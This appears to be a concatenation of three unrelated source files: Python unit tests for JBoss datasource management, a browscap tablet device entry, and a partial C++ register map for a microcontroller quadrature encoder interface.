jboss7.create_datasource(self.jboss_config, "appDS", datasource_properties)
self.org_run_operation.assert_called_with(
self.jboss_config,
'/subsystem=datasources/data-source="appDS":add(use-ccm=true)',
fail_on_error=False,
)
def test_create_datasource_format_boolean_value_when_boolean(self):
def cli_command_response(jboss_config, cli_command, fail_on_error=False):
if (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource-description'
):
return {
"outcome": "success",
"result": {"attributes": {"use-ccm": {"type": "BOOLEAN"}}},
}
self.org_run_operation.side_effect = cli_command_response
datasource_properties = OrderedDict()
datasource_properties["use-ccm"] = True
jboss7.create_datasource(self.jboss_config, "appDS", datasource_properties)
self.org_run_operation.assert_called_with(
self.jboss_config,
'/subsystem=datasources/data-source="appDS":add(use-ccm=true)',
fail_on_error=False,
)
def test_create_datasource_format_int_value_when_int(self):
def cli_command_response(jboss_config, cli_command, fail_on_error=False):
if (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource-description'
):
return {
"outcome": "success",
"result": {"attributes": {"min-pool-size": {"type": "INT"}}},
}
self.org_run_operation.side_effect = cli_command_response
datasource_properties = OrderedDict()
datasource_properties["min-pool-size"] = 15
jboss7.create_datasource(self.jboss_config, "appDS", datasource_properties)
self.org_run_operation.assert_called_with(
self.jboss_config,
'/subsystem=datasources/data-source="appDS":add(min-pool-size=15)',
fail_on_error=False,
)
def test_create_datasource_format_int_value_when_string(self):
def cli_command_response(jboss_config, cli_command, fail_on_error=False):
if (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource-description'
):
return {
"outcome": "success",
"result": {"attributes": {"min-pool-size": {"type": "INT"}}},
}
self.org_run_operation.side_effect = cli_command_response
datasource_properties = OrderedDict()
datasource_properties["min-pool-size"] = "15"
jboss7.create_datasource(self.jboss_config, "appDS", datasource_properties)
self.org_run_operation.assert_called_with(
self.jboss_config,
'/subsystem=datasources/data-source="appDS":add(min-pool-size=15)',
fail_on_error=False,
)
def test_read_datasource(self):
def cli_command_response(jboss_config, cli_command):
if (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource'
):
return {
"outcome": "success",
"result": {
"driver-name": "mysql",
"connection-url": "jdbc:mysql://localhost:3306/app",
"jndi-name": "java:jboss/datasources/appDS",
"user-name": "app",
"password": "<PASSWORD>",
},
}
self.org_run_operation.side_effect = cli_command_response
ds_result = jboss7.read_datasource(self.jboss_config, "appDS")
ds_properties = ds_result["result"]
self.assertEqual(ds_properties["driver-name"], "mysql")
self.assertEqual(
ds_properties["connection-url"], "jdbc:mysql://localhost:3306/app"
)
self.assertEqual(ds_properties["jndi-name"], "java:jboss/datasources/appDS")
self.assertEqual(ds_properties["user-name"], "app")
self.assertEqual(ds_properties["password"], "<PASSWORD>")
def test_update_datasource(self):
datasource_properties = {
"driver-name": "mysql",
"connection-url": "jdbc:mysql://localhost:3306/app",
"jndi-name": "java:jboss/datasources/appDS",
"user-name": "newuser",
"password": "<PASSWORD>",
}
def cli_command_response(jboss_config, cli_command, fail_on_error=False):
if (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource-description'
):
return {
"outcome": "success",
"result": {
"attributes": {
"driver-name": {"type": "STRING"},
"connection-url": {"type": "STRING"},
"jndi-name": {"type": "STRING"},
"user-name": {"type": "STRING"},
"password": {"type": "STRING"},
}
},
}
elif (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource'
):
return {
"outcome": "success",
"result": {
"driver-name": "mysql",
"connection-url": "jdbc:mysql://localhost:3306/app",
"jndi-name": "java:jboss/datasources/appDS",
"user-name": "app",
"password": "<PASSWORD>",
},
}
elif (
cli_command
== '/subsystem=datasources/data-source="appDS":write-attribute(name="user-name",value="newuser")'
):
return {"outcome": "success", "success": True}
self.org_run_operation.side_effect = cli_command_response
jboss7.update_datasource(self.jboss_config, "appDS", datasource_properties)
self.org_run_operation.assert_any_call(
self.jboss_config,
'/subsystem=datasources/data-source="appDS":write-attribute(name="user-name",value="newuser")',
fail_on_error=False,
)
| 5,870 |
338 | <reponame>ayumi-cloud/browscap<filename>resources/devices/tablet/shiru.json
{
"<NAME> 10": {
"type": "tablet",
"properties": {
"Device_Name": "Samurai 10",
"Device_Code_Name": "Samurai 10",
"Device_Maker": "Shiru",
"Device_Pointing_Method": "touchscreen",
"Device_Brand_Name": "Shiru"
},
"standard": true
}
}
| 159 |
376 | <reponame>cjsmeele/Kvasir
#pragma once
#include <Register/Utility.hpp>
namespace Kvasir {
//Quadrature Encoder Interface (QEI)
namespace QeiCon{ ///<Control register
using Addr = Register::Address<0x400bc000,0x00000000,0x00000000,unsigned>;
///Reset position counter. When set = 1, resets the position counter to all zeros. Autoclears when the position counter is cleared.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> resp{};
///Reset position counter on index. When set = 1, resets the position counter to all zeros once only the first time an index pulse occurs. Autoclears when the position counter is cleared.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> respi{};
///Reset velocity. When set = 1, resets the velocity counter to all zeros, reloads the velocity timer, and presets the velocity compare register. Autoclears when the velocity counter is cleared.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> resv{};
///Reset index counter. When set = 1, resets the index counter to all zeros. Autoclears when the index counter is cleared.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> resi{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,4),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiConf{ ///<Configuration register
using Addr = Register::Address<0x400bc008,0x00000000,0x00000000,unsigned>;
///Direction invert. When 1, complements the DIR bit.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> dirinv{};
///Signal Mode. When 0, PhA and PhB function as quadrature encoder inputs. When 1, PhA functions as the direction signal and PhB functions as the clock signal.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> sigmode{};
///Capture Mode. When 0, only PhA edges are counted (2X). When 1, BOTH PhA and PhB edges are counted (4X), increasing resolution but decreasing range.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> capmode{};
///Invert Index. When 1, inverts the sense of the index input.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> invinx{};
///Continuously reset the position counter on index. When 1, resets the position counter to all zeros whenever an index pulse occurs after the next position increase (recalibration).
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> crespi{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,5),Register::ReadWriteAccess,unsigned> reserved{};
///Index gating configuration: When INXGATE[16] = 1, pass the index when PHA = 1 and PHB = 0, otherwise block index. When INXGATE[17] = 1, pass the index when PHA = 1 and PHB = 1, otherwise block index. When INXGATE[18] = 1, pass the index when PHA = 0 and PHB = 1, otherwise block index. When INXGATE[19] = 1, pass the index when PHA = 0 and PHB = 0, otherwise block index.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,16),Register::ReadWriteAccess,unsigned> inxgate{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,20),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiStat{ ///<Status register
using Addr = Register::Address<0x400bc004,0x00000000,0x00000000,unsigned>;
///Direction bit. In combination with DIRINV bit indicates forward or reverse direction. See Table 597.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> dir{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,1),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiPos{ ///<Position register
using Addr = Register::Address<0x400bc00c,0x00000000,0x00000000,unsigned>;
///Current position value.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> pos{};
}
namespace QeiMaxpos{ ///<Maximum position register
using Addr = Register::Address<0x400bc010,0x00000000,0x00000000,unsigned>;
///Current maximum position value.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> maxpos{};
}
namespace QeiCmpos0{ ///<Position compare register 0
using Addr = Register::Address<0x400bc014,0x00000000,0x00000000,unsigned>;
///Position compare value 0.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> pcmp0{};
}
namespace QeiCmpos1{ ///<Position compare register 1
using Addr = Register::Address<0x400bc018,0x00000000,0x00000000,unsigned>;
///Position compare value 1.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> pcmp1{};
}
namespace QeiCmpos2{ ///<Position compare register 2
using Addr = Register::Address<0x400bc01c,0x00000000,0x00000000,unsigned>;
///Position compare value 2.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> pcmp2{};
}
namespace QeiInxcnt{ ///<Index count register 0
using Addr = Register::Address<0x400bc020,0x00000000,0x00000000,unsigned>;
///Current index counter value.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> encpos{};
}
namespace QeiInxcmp0{ ///<Index compare register 0
using Addr = Register::Address<0x400bc024,0x00000000,0x00000000,unsigned>;
///Index compare value 0.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> icmp0{};
}
namespace QeiLoad{ ///<Velocity timer reload register
using Addr = Register::Address<0x400bc028,0x00000000,0x00000000,unsigned>;
///Current velocity timer load value.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> velload{};
}
namespace QeiTime{ ///<Velocity timer register
using Addr = Register::Address<0x400bc02c,0x00000000,0x00000000,unsigned>;
///Current velocity timer value.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> velval{};
}
namespace QeiVel{ ///<Velocity counter register
using Addr = Register::Address<0x400bc030,0x00000000,0x00000000,unsigned>;
///Current velocity pulse count.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> velpc{};
}
namespace QeiCap{ ///<Velocity capture register
using Addr = Register::Address<0x400bc034,0x00000000,0x00000000,unsigned>;
///Last velocity capture.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> velcap{};
}
namespace QeiVelcomp{ ///<Velocity compare register
using Addr = Register::Address<0x400bc038,0x00000000,0x00000000,unsigned>;
///Compare velocity pulse count.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> velpc{};
}
namespace QeiFilterpha{ ///<Digital filter register on PHA
using Addr = Register::Address<0x400bc03c,0x00000000,0x00000000,unsigned>;
///Digital filter sampling delay for PhA.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> filta{};
}
namespace QeiFilterphb{ ///<Digital filter register on PHB
using Addr = Register::Address<0x400bc040,0x00000000,0x00000000,unsigned>;
///Digital filter sampling delay for PhB.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> filtb{};
}
namespace QeiFilterinx{ ///<Digital filter register on IDX
using Addr = Register::Address<0x400bc044,0x00000000,0x00000000,unsigned>;
///Digital filter sampling delay for the index.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> fitlinx{};
}
namespace QeiWindow{ ///<Index acceptance window register
using Addr = Register::Address<0x400bc048,0x00000000,0x00000000,unsigned>;
///Index acceptance window width.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> window{};
}
namespace QeiInxcmp1{ ///<Index compare register 1
using Addr = Register::Address<0x400bc04c,0x00000000,0x00000000,unsigned>;
///Index compare value 1.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> icmp1{};
}
namespace QeiInxcmp2{ ///<Index compare register 2
using Addr = Register::Address<0x400bc050,0x00000000,0x00000000,unsigned>;
///Index compare value 2.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,0),Register::ReadWriteAccess,unsigned> icmp2{};
}
namespace QeiIntstat{ ///<Interrupt status register
using Addr = Register::Address<0x400bcfe0,0x00000000,0x00000000,unsigned>;
///Indicates that an index pulse was detected.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> inxInt{};
///Indicates that a velocity timer overflow occurred
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> timInt{};
///Indicates that captured velocity is less than compare velocity.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> velcInt{};
///Indicates that a change of direction was detected.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> dirInt{};
///Indicates that an encoder phase error was detected.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> errInt{};
///Indicates that and encoder clock pulse was detected.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> enclkInt{};
///Indicates that the position 0 compare value is equal to the current position.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> pos0Int{};
///Indicates that the position 1compare value is equal to the current position.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> pos1Int{};
///Indicates that the position 2 compare value is equal to the current position.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,unsigned> pos2Int{};
///Indicates that the index compare 0 value is equal to the current index count.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,unsigned> rev0Int{};
///Combined position 0 and revolution count interrupt. Set when both the POS0_Int bit is set and the REV0_Int is set.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pos0revInt{};
///Combined position 1 and revolution count interrupt. Set when both the POS1_Int bit is set and the REV1_Int is set.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> pos1revInt{};
///Combined position 2 and revolution count interrupt. Set when both the POS2_Int bit is set and the REV2_Int is set.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> pos2revInt{};
///Indicates that the index compare 1value is equal to the current index count.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> rev1Int{};
///Indicates that the index compare 2 value is equal to the current index count.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> rev2Int{};
///Indicates that the current position count goes through the MAXPOS value to zero in the forward direction, or through zero to MAXPOS in the reverse direction.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> maxposInt{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiSet{ ///<Interrupt status set register
using Addr = Register::Address<0x400bcfec,0x00000000,0x00000000,unsigned>;
///Writing a 1 sets the INX_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> inxInt{};
///Writing a 1 sets the TIN_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> timInt{};
///Writing a 1 sets the VELC_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> velcInt{};
///Writing a 1 sets the DIR_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> dirInt{};
///Writing a 1 sets the ERR_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> errInt{};
///Writing a 1 sets the ENCLK_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> enclkInt{};
///Writing a 1 sets the POS0_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> pos0Int{};
///Writing a 1 sets the POS1_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> pos1Int{};
///Writing a 1 sets the POS2_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,unsigned> pos2Int{};
///Writing a 1 sets the REV0_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,unsigned> rev0Int{};
///Writing a 1 sets the POS0REV_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pos0revInt{};
///Writing a 1 sets the POS1REV_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> pos1revInt{};
///Writing a 1 sets the POS2REV_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> pos2revInt{};
///Writing a 1 sets the REV1_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> rev1Int{};
///Writing a 1 sets the REV2_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> rev2Int{};
///Writing a 1 sets the MAXPOS_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> maxposInt{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiClr{ ///<Interrupt status clear register
using Addr = Register::Address<0x400bcfe8,0x00000000,0x00000000,unsigned>;
///Writing a 1 clears the INX_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> inxInt{};
///Writing a 1 clears the TIN_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> timInt{};
///Writing a 1 clears the VELC_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> velcInt{};
///Writing a 1 clears the DIR_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> dirInt{};
///Writing a 1 clears the ERR_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> errInt{};
///Writing a 1 clears the ENCLK_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> enclkInt{};
///Writing a 1 clears the POS0_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> pos0Int{};
///Writing a 1 clears the POS1_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> pos1Int{};
///Writing a 1 clears the POS2_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,unsigned> pos2Int{};
///Writing a 1 clears the REV0_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,unsigned> rev0Int{};
///Writing a 1 clears the POS0REV_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pos0revInt{};
///Writing a 1 clears the POS1REV_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> pos1revInt{};
///Writing a 1 clears the POS2REV_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> pos2revInt{};
///Writing a 1 clears the REV1_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> rev1Int{};
///Writing a 1 clears the REV2_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> rev2Int{};
///Writing a 1 clears the MAXPOS_Int bit in QEIINTSTAT.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> maxposInt{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiIe{ ///<Interrupt enable register
using Addr = Register::Address<0x400bcfe4,0x00000000,0x00000000,unsigned>;
///When 1, the INX_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> inxInt{};
///When 1, the TIN_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> timInt{};
///When 1, the VELC_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> velcInt{};
///When 1, the DIR_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> dirInt{};
///When 1, the ERR_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> errInt{};
///When 1, the ENCLK_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> enclkInt{};
///When 1, the POS0_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> pos0Int{};
///When 1, the POS1_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> pos1Int{};
///When 1, the POS2_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,unsigned> pos2Int{};
///When 1, the REV0_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,unsigned> rev0Int{};
///When 1, the POS0REV_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pos0revInt{};
///When 1, the POS1REV_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> pos1revInt{};
///When 1, the POS2REV_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> pos2revInt{};
///When 1, the REV1_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> rev1Int{};
///When 1, the REV2_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> rev2Int{};
///When 1, the MAXPOS_Int interrupt is enabled.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> maxposInt{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiIes{ ///<Interrupt enable set register
using Addr = Register::Address<0x400bcfdc,0x00000000,0x00000000,unsigned>;
///Writing a 1 enables the INX_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> inxInt{};
///Writing a 1 enables the TIN_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> timInt{};
///Writing a 1 enables the VELC_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> velcInt{};
///Writing a 1 enables the DIR_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> dirInt{};
///Writing a 1 enables the ERR_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> errInt{};
///Writing a 1 enables the ENCLK_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> enclkInt{};
///Writing a 1 enables the POS0_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> pos0Int{};
///Writing a 1 enables the POS1_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> pos1Int{};
///Writing a 1 enables the POS2_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,unsigned> pos2Int{};
///Writing a 1 enables the REV0_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,unsigned> rev0Int{};
///Writing a 1 enables the POS0REV_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pos0revInt{};
///Writing a 1 enables the POS1REV_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> pos1revInt{};
///Writing a 1 enables the POS2REV_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> pos2revInt{};
///Writing a 1 enables the REV1_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> rev1Int{};
///Writing a 1 enables the REV2_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> rev2Int{};
///Writing a 1 enables the MAXPOS_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> maxposInt{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> reserved{};
}
namespace QeiIec{ ///<Interrupt enable clear register
using Addr = Register::Address<0x400bcfd8,0x00000000,0x00000000,unsigned>;
///Writing a 1 disables the INX_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> inxInt{};
///Writing a 1 disables the TIN_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> timInt{};
///Writing a 1 disables the VELC_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> velcInt{};
///Writing a 1 disables the DIR_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> dirInt{};
///Writing a 1 disables the ERR_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> errInt{};
///Writing a 1 disables the ENCLK_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> enclkInt{};
///Writing a 1 disables the POS0_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> pos0Int{};
///Writing a 1 disables the POS1_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> pos1Int{};
///Writing a 1 disables the POS2_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,unsigned> pos2Int{};
///Writing a 1 disables the REV0_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,unsigned> rev0Int{};
///Writing a 1 disables the POS0REV_Int interrupt in the QEIIE register.
